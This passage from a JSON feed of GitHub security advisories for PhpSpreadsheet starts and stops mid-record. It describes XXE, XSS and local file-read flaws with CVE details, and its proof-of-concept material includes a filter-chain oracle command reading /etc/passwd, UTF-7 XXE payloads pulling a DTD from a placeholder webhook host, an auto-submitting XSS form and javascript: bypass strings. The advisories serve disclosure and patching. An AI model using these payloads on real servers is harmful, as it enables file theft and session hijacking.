. '/' . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is \u003c= 128M - otherwise you'll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.\n\nHere's the results I got after about a minute of bruteforcing:\n\n![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-07T15:57:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37","https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec","https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465","https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4","https://nvd.nist.gov/vuln/detail/CVE-2024-45290","https://github.com/advisories/GHSA-5gpr-w2p5-6m37"],"source_kind":"github","identifiers":["GHSA-5gpr-w2p5-6m37","CVE-2024-45290"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-10-07T16:06:23.962Z","updated_at":"2025-03-06T18:12:44.000Z","epss_percentage":0.00102,"epss_percentile":0.29179},{"uuid":"GSA_kwCzR0hTQS13Z21mLXE5dnItdnd3Ns4AA_Bz","url":"https://github.com/advisories/GHSA-wgmf-q9vr-vww6","title":"PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information","description":"### Summary\n\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.\n\n### PoC\n\nExample target script:\n\n```\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx)\n\nOpen index.php in a web browser. An alert should be displayed.\n\n### Impact\n\nFull takeover of the session of users viewing spreadsheet files as HTML.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-08-29T17:56:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6","https://nvd.nist.gov/vuln/detail/CVE-2024-45046","https://github.com/PHPOffice/PhpSpreadsheet/pull/3957","https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667","https://github.com/advisories/GHSA-wgmf-q9vr-vww6"],"source_kind":"github","identifiers":["GHSA-wgmf-q9vr-vww6","CVE-2024-45046"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"},{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-08-29T18:05:39.153Z","updated_at":"2025-03-06T18:09:35.000Z","epss_percentage":0.00088,"epss_percentile":0.26484},{"uuid":"GSA_kwCzR0hTQS1jNmZ2LTd2aDgtMnJocs4ABC8i","url":"https://github.com/advisories/GHSA-c6fv-7vh8-2rhr","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","description":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n\u003cimg width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" /\u003e\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56366","https://github.com/advisories/GHSA-c6fv-7vh8-2rhr"],"source_kind":"github","identifiers":["GHSA-c6fv-7vh8-2rhr","CVE-2024-56366"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.654Z","updated_at":"2025-06-03T01:08:15.934Z","epss_percentage":0.00028,"epss_percentile":0.06063},{"uuid":"GSA_kwCzR0hTQS02aHdyLTZ2MmYtM204OM4ABABf","url":"https://github.com/advisories/GHSA-6hwr-6v2f-3m88","title":"XXE in PHPSpreadsheet's XLSX reader","description":"### Summary\nThe security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. \n\n### Details\nThe security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. \n\nThe function searches for the XML encoding through a defined regex which looks for `encoding=\"*\"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. \n\n ```\n$patterns = [\n            '/encoding=\"([^\"]*]?)\"/',\n            \"/encoding='([^']*?)'/\",\n];\n```\n\nThis logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. \n\n### PoC\n\nNeeded:\n- An Excel sheet (XLSX) with at least one cell containing a value.\n\nUnzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`):\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE abc [ ... ]\u003e\n```\n\n#### Step-by-step\n\n1. First off, the following string is encoded in base64:\n\n```\n\u003c!ENTITY internal 'abc'  \u003e\" \n```\n\nResulting in:\n\n```\nPCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\n```\n\n2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE foo [ \u003c!ENTITY % xxe SYSTEM \"php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\" \u003e %xxe;]\u003e\n\u003csst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"\u003e\u003csi\u003e\u003ct\u003e\u0026internal;\u003c/t\u003e\u003c/si\u003e\u003c/sst\u003e\n```\n\nWhen this file is parsed by the library, the value `abc` should be in the original filled cell.\n\nWith the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. \n\n### Impact\nSensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-07T15:58:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hwr-6v2f-3m88","https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c","https://github.com/PHPOffice/PhpSpreadsheet/commit/7d6cb09f6e8204f65e6dd5a0490f7f45f44bb331","https://github.com/PHPOffice/PhpSpreadsheet/commit/949ff63e1f6413e6485f73af012d506aa81384bf","https://nvd.nist.gov/vuln/detail/CVE-2024-45293","https://github.com/advisories/GHSA-6hwr-6v2f-3m88"],"source_kind":"github","identifiers":["GHSA-6hwr-6v2f-3m88","CVE-2024-45293"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":37.435925449709764,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-10-07T16:06:23.889Z","updated_at":"2025-03-06T18:14:42.000Z","epss_percentage":0.21472,"epss_percentile":0.95294},{"uuid":"GSA_kwCzR0hTQS1yOHc4LTc0d3ctajR3aM4ABABe","url":"https://github.com/advisories/GHSA-r8w8-74ww-j4wh","title":"PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via JavaScript hyperlinks","description":"### Summary\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` does not sanitize \"javascript:\" URLs from hyperlink `href` attributes, resulting in a Cross-Site Scripting vulnerability.\n\n### PoC\n\nExample target script:\n\n```\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15099763/book.xlsx)\n\nOpen index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T15:58:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r8w8-74ww-j4wh","https://github.com/PHPOffice/PhpSpreadsheet/commit/392dd08c5569b623060784e1333454d64df1f03d","https://github.com/PHPOffice/PhpSpreadsheet/commit/8b9b378ecdc603234a34aab3b293d2cdc8e9210e","https://github.com/PHPOffice/PhpSpreadsheet/commit/f0b70ed1086348904b27772b264e1605ba6c1d6d","https://nvd.nist.gov/vuln/detail/CVE-2024-45292","https://github.com/advisories/GHSA-r8w8-74ww-j4wh"],"source_kind":"github","identifiers":["GHSA-r8w8-74ww-j4wh","CVE-2024-45292"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-10-07T16:06:23.920Z","updated_at":"2025-03-06T18:14:07.000Z","epss_percentage":0.0009,"epss_percentile":0.27011},{"uuid":"GSA_kwCzR0hTQS1xOWp2LW1tM3ItajQ3cs4ABC8m","url":"https://github.com/advisories/GHSA-q9jv-mm3r-j47r","title":"PhpSpreadsheet allows bypass XSS sanitizer using the javascript protocol and special characters","description":"# Bypass XSS sanitizer using the javascript protocol and special characters\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\n\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 6. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link.\nThe Excel file is unpacked and a hyperlink in the file is inserted into the `xl/worksheets/sheet1.xml` file.\n\n![fig11](https://github.com/user-attachments/assets/b9d53f7a-6f36-4853-95f9-8aa22f81eccd)\n\n*Figure 11. Using the javascript protocol with special characters*\n\nSome payloads help bypass the security system and carry out a XSS attack.\n\n*Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\njav\u0026#x09;ascript:alert()\njav\u0026#x0D;ascript:alert()\njav\u0026#x0A;ascript:alert()\n```\n\nIt's clear that the javascript protocol with special characters is used. \n\n![fig12](https://github.com/user-attachments/assets/7595e88b-9848-4251-845c-2c2d8032e479)\n\n*Figure 12. Using the javascript protocol with special characters*\n\nDue to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol.\n\n\u003cimg width=\"373\" alt=\"fig13\" src=\"https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26\" /\u003e\n\n*Figure 13. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:29:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q9jv-mm3r-j47r","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56412","https://github.com/advisories/GHSA-q9jv-mm3r-j47r"],"source_kind":"github","identifiers":["GHSA-q9jv-mm3r-j47r","CVE-2024-56412"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.467Z","updated_at":"2025-06-03T01:08:16.047Z","epss_percentage":0.00028,"epss_percentile":0.06063},{"uuid":"GSA_kwCzR0hTQS03OXh4LXZmOTMtcDdjeM4ABDo3","url":"https://github.com/advisories/GHSA-79xx-vf93-p7cx","title":"Cross-Site Scripting (XSS) vulnerability in generateNavigation() function in PhpSpreadsheet","description":"### Summary\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.\n\n### Details\nWhen generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.\n\n```php\n        // Construct HTML\n        $html = '';\n\n        // Only if there are more than 1 sheets\n        if (count($sheets) \u003e 1) {\n            // Loop all sheets\n            $sheetId = 0;\n\n            $html .= '\u003cul class=\"navigation\"\u003e' . PHP_EOL;\n\n            foreach ($sheets as $sheet) {\n                $html .= '  \u003cli class=\"sheet' . $sheetId . '\"\u003e\u003ca href=\"#sheet' . $sheetId . '\"\u003e' . $sheet-\u003egetTitle() . '\u003c/a\u003e\u003c/li\u003e' . PHP_EOL;\n                ++$sheetId;\n            }\n\n            $html .= '\u003c/ul\u003e' . PHP_EOL;\n        }\n```\n\n### PoC\n1. Create an XLSX file with multiple sheets : \n![image](https://github.com/user-attachments/assets/e3fc027a-9525-4d7f-b107-cfa6e78d04e7)\n\n2. Generate the HTML content \n```php\n\u003c?php\n\trequire __DIR__ . '/vendor/autoload.php';\n\n\t$inputFileName = 'payload.xlsx';\n\t$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n\t$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n\t$writer-\u003ewriteAllSheets();\n\techo $writer-\u003egenerateHTMLAll();\n?\u003e\n```\n3. Enjoy\n![image](https://github.com/user-attachments/assets/3e3c24f4-cb5d-451d-978f-9d33234f3bd1)\n\n\n### Impact\n\nXSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise.\nExample of impacts :\n\n- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if HttpOnly cookie's flag is set to false).\n- Redirecting the user to some other page or site (like phishing websites)\n- Modifying the content of the current page (add a fake login page that sends credentials to the attacker).\n- Automatically download malicious files.\n- Requests access to the victim geolocation / camera.\n- ...","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-21T21:09:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx","https://nvd.nist.gov/vuln/detail/CVE-2025-22131","https://github.com/PHPOffice/PhpSpreadsheet/commit/4088381ccfaf241d7d42c333de0dc8c98e338743","https://github.com/advisories/GHSA-79xx-vf93-p7cx"],"source_kind":"github","identifiers":["GHSA-79xx-vf93-p7cx","CVE-2025-22131"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":21.94519767741607,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.6","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.6"},{"first_patched_version":"2.1.7","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.7"},{"first_patched_version":"1.29.8","vulnerable_version_range":"\u003c 1.29.8"},{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-21T22:08:50.008Z","updated_at":"2025-03-06T18:16:09.000Z","epss_percentage":0.00051,"epss_percentile":0.15936},{"uuid":"GSA_kwCzR0hTQS1naGc2LTMyZjktMmpwN84AA_B0","url":"https://github.com/advisories/GHSA-ghg6-32f9-2jp7","title":"XXE in PHPSpreadsheet encoding is returned","description":"### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = '/encoding=\"(.*?)\"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:\n```\n\u003c?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"\u003e %xxe;]\u003e\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e` to \n```\n\u003c?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"\u003e %xxe;]\u003e\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . '/vendor/autoload.php';\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-29T17:58:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7","https://nvd.nist.gov/vuln/detail/CVE-2024-45048","https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda","https://github.com/advisories/GHSA-ghg6-32f9-2jp7"],"source_kind":"github","identifiers":["GHSA-ghg6-32f9-2jp7","CVE-2024-45048"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":37.435925449709764,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.1"},{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-08-29T18:05:39.119Z","updated_at":"2025-03-06T18:10:42.000Z","epss_percentage":0.0004,"epss_percentile":0.11804},{"uuid":"GSA_kwCzR0hTQS1yNTdoLTU0N2gtdzI0Zs4ABEF_","url":"https://github.com/advisories/GHSA-r57h-547h-w24f","title":"PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters","description":"**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol 